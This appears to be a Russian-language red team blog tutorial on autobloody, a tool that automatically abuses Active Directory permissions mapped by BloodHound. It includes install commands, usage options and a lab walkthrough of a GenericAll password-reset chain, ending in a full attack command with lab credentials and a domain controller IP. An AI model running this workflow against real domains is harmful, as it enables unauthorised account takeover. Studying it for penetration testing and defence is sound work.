Tools
April 12

Autobloody - автоматическая эксплуатация привилегий Active Directory

Сегодня рассмотрим инструмент, позволяющий автоматически эксплуатировать некоторые векторы эскалации привилегий Active Directory, отображаемые Bloodhound.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Установка

sudo apt install libkrb5-dev # библиотека для работы с kerberos
python -m venv venv # создание виртуального окружения
source /venv/bin/activate # активация виртуального окружения
pip install neo4j # python драйвер для работы с БД neo4j
pip install autobloody # установка самой утилиты

Также необходимо установить плагин GDS для neo4j.

Ограничения

На текущий момент программа позволяет автоматически эксплуатировать следующие привилегии:

  • MemberOf
  • ForceChangePassword
  • AddMembers
  • AddSelf
  • DCSync
  • GetChanges/GetChangesAll
  • GenericAll
  • WriteDacl
  • GenericWrite
  • WriteOwner
  • Owns
  • Contains
  • AllExtendedRights

Пример использования

Данное решение имеет следующие настройки:

  usage: autobloody.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] --host HOST
  
  -h, --help            выводит справку 
  --dburi DBURI         URI для подключения к neo4j (по-умолчанию "bolt://localhost:7687")
  -du DBUSER, --dbuser DBUSER
                        Пользователь для neo4j (по-умолчанию "neo4j")
  -dp DBPASSWORD, --dbpassword DBPASSWORD
                        Пароль для neo4j
  -ds DBSOURCE, --dbsource DBSOURCE
	                      Регистрозависимое имя источника атаки (в bloodhound свойство name)
  -dt DBTARGET, --dbtarget DBTARGET                        
                        Регистрозависимое имя цели атаки (в bloodhound свойство name)
  -d DOMAIN, --domain DOMAIN
                        Имя домена
  -u USERNAME, --username USERNAME
                        Имя пользователя для NTLM аутентификации
  -p PASSWORD, --password PASSWORD
                        Пароль или хэш (LMHASH:NTHASH) для NTLM аутентификации
  -k, --kerberos
  -c CERTIFICATE, --certificate CERTIFICATE
                        Сертификат для аутентификации, формат: "path/to/key:path/to/cert"
  -s, --secure          Использовать LDAP over TLS (LDAPS), по-умолчанию LDAP
  --host HOST           IP или hostname доменного контроллера (DC) (ex: my.dc.local or 172.16.1.3)

Для наполнения домена использован скрипт BadBlood.

Представим, что у нас есть учетная запись SUSANA_AYERS,но у нас есть потребность в захвате учетной записи EMILY_GIBBS.

При рассмотрении результатов выгрузки SharpHound в BloodHound мы видим, что SUSANA_AYERS входит в группу ПОЛЬЗОВАТЕЛИ ДОМЕНА, а группа ПОЛЬЗОВАТЕЛИ ДОМЕНА входит в группу LE-SOYAFORTU-DISTLIST1. В свою очередь группа LE-SOYAFORTU-DISTLIST1 имеет разрешение GenericAll при взаимодействии с пользователями GERRY_YOUNG или RAPHAEL_CLINE.

Учетная запись с разрешением GenericAll может выполнять практически любые действия с ресурсом, включая полное контролирование его содержимого и настроек без каких-либо ограничений.

Соответственно, SUSANA_AYERS, как член группы LE-SOYAFORTU-DISTLIST1, может менять любые настройки пользователей GERRY_YOUNG и RAPHAEL_CLINE, в том числе пароль. Таким образом, изменив пароль любого из этих пользователей, получаем доступ к выполнению команд от их имени после аутентификации.

Здесь начинается вторая итерация эскалация привилегий. Для примера полагаем, что мы получили доступ к аккаунту RAPHAEL_CLINE.

Пользователь RAPHAEL_CLINE является частью группы SA-240-DISTLIST1, а эта группа имеет разрешение GenericAll при взаимодействии с EMILY_GIBBS, поэтому RAPHAEL_CLINE так же имеет это разрешение. Таким образом, RAPHAEL_CLINE меняет пароль EMILY_GIBBS, эскалация привилегий завершена.

Исходные данные:

  • Пароль SUSANA_AYERS: Arbzuik111
  • URI neo4j: bolt://localhost:7687
  • Пароль для neo4j: yNgGAi4dla
  • Домен: GISCYBERTEAM.LOCAL
  • Адрес доменного контроллера: 192.168.207.134

Цель:

  • учетная запись EMILY_GIBBS

Команда:

autobloody -dp yNgGAi4dla -ds [email protected] -dt [email protected] -u SUSANA_AYERS -p Arbuzik111 --host 192.168.207.134 -d GISCYBERTEAM.LOCAL

Как видно, утилита автоматически обнаруживает вектор эскалации привилегий и эксплуатирует его.

Заключение

Сегодня мы с вами рассмотрели инструмент, позволяющий автоматически эксплуатировать векторы эскалации привилегий Active Directory через результаты программного решения Bloodhound, что в свою очередь станет отличным дополнением в инструментариях специалиста по тестированию на проникновение.